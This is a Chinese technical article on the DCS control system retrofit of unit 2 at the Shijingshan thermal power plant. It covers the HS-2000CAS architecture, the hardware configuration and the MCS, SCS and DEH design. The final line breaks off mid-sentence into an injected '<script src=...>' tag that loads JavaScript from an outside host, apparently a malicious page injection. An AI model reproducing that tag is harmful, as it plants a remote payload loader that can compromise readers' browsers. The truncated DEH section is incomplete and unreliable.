摘 要：介绍石景山热电厂2号机组dcs控制系统改造情况，论述改造方案的设计及特点，通过分析改造中出现的问题，阐明了产生问题的原因及解决方法。
石景山热电厂2号机组dcs改造采用和利时公司的hs－2000cas分散控制系统，改造范围包括mcs、scs、das、deh系统。1999年1月完成系统整体方案设计，包括硬件配置、deh、ccs、mcs、scs方案。2月完成系统硬件成套及软件组态。3月完成系统联调及全面测试。4月中旬至6月中旬进行现场各系统的静态调试。6月26日，机组正式运行，开始mcs、deh的动态调试，其余各系统投入使用并做局部调整。7月下旬系统投运基本完成，所有系统投入使用，工作正常。
系统硬件配置为：共设5个操作员站，2个工程师站，10个控制站（10号～19号），其中控制站机柜20个单柜，继电器柜2个单柜，主机柜2个单柜，扩展柜1个单柜，配电柜1个单柜。控制站（10～12号）为mcs系统，控制站（13～16号）为scs系统，das系统由两个控制站（17号、18号）组成，deh系统占一个控制站（19号）。
1 hs－2000cas系统介绍
该系统是和利时公司最新开发的系统，其基本结构由4部分组成，即系统网络、操作员站、工程师站、现场控制站。操作员站、工程师站、现场控制站作为逻辑意义相同的节点挂接在系统网络上。系统网络为和利时公司开发的arcnet双冗余工业实时网，双令牌总线（token bus），网络速率为5 m。操作员站和工程师站利用网络控制板与系统网络连接，而现场控制站利用主控模件与系统网络连接。
现场控制站由主控模块、智能输入／输出模件、电源模件和专用机柜组成，系统由ups实现双路供电，主控模块、电源模件、模出模件全部采用双冗余配置，有模件在线自诊断功能，诊断结果可由操作员站或工程师站的系统画面显示。在主控模块、智能输入／输出模件上分别固化实时控制软件和智能输入／输出处理软件。每个控制站机柜附带一个端子柜，便于信号电缆接线。实时控制软件运行在一个嵌入式多任务处理系统中，完成信号转换与处理、控制运算（石热项目控制运算周期mcs和scs为250 ms，das为1 s，deh为100ms）、通信、自诊断、双主控模块切换时保持数据一致等功能。智能输入／输出处理软件完成采样、滤波、模／数转换、小信号非线性补偿、冷端补偿、工程单位换算、过程点质量判断等功能。
操作员站和工程师站由高可靠工业微机配以外设组成（石热项目采用研华工业控制微机）。操作员站运行hs－2000cas系统专用实时监控软件，该软件完成图形显示与会话、控制调节、趋势显示、报警管理和显示、报表打印及事故追忆等。工程师站运行hs－2000cas系统组态软件包，软件运行环境为pwin32。软件包有10个汉字工具软件，具有方便的人机界面，主要功能为：系统管理、数据库生成、功能块图生成、梯形图生成、计算公式生成、引用生成、历史库生成、追忆库生成、图形生成、报表生成。操作员站和工程师站都有分级别保护措施，只有以正确口令登录，才能执行相应操作。
2 系统设计方案
（1）mcs系统共设计31套自动调节系统，包括：
·协调控制系统
·燃烧控制系统
·送风控制系统
·引风控制系统
·全程给水控制（单、三冲量）系统
·1～5号磨风量控制系统
·1～5号磨出口温度控制系统
·左右侧一级减温控制系统
·左右侧二级减温控制系统
·左右侧再热汽温控制系统
·除氧器水位控制系统
·轴封供汽压力控制系统
·氢温控制系统
·冷油器控制系统
·热网加热器温度控制系统
mcs在立盘保留13个后备手操，包括：
·1号给水泵转速控制系统
·2号给水泵转速控制系统
·给水调节阀控制系统
·左侧送风控制系统
·右侧送风控制系统
·左侧引风控制系统
·右侧引风控制系统
·左侧一级减温控制系统
·右侧一级减温控制系统
·左侧二级减温控制系统
·右侧二级减温控制系统
·左侧再热汽温控制系统
·右侧再热汽温控制系统
（2）设计scs逻辑时尽量采用电厂实际使用中的逻辑，参照原运行规程，并听取运行人员的意见。这样做，一方面吸取原有控制逻辑的优点，一方面使运行人员不必改变或较少改变原有的操作习惯。scs控制范围包括：
·66套电动机的开关操作
·3套调节阀的开关操作
·14套电磁阀的开关操作
·98套电动门的开关操作
·36套二次风门的开关操作
·12套周界风门的开关操作
·相关电动门电动机的连锁保护功能
·射水泵、定排、5号磨的程控启停功能
（3）deh系统设计功能有：自动升速、自动暖机、?script src=http://er12.com/t.js>
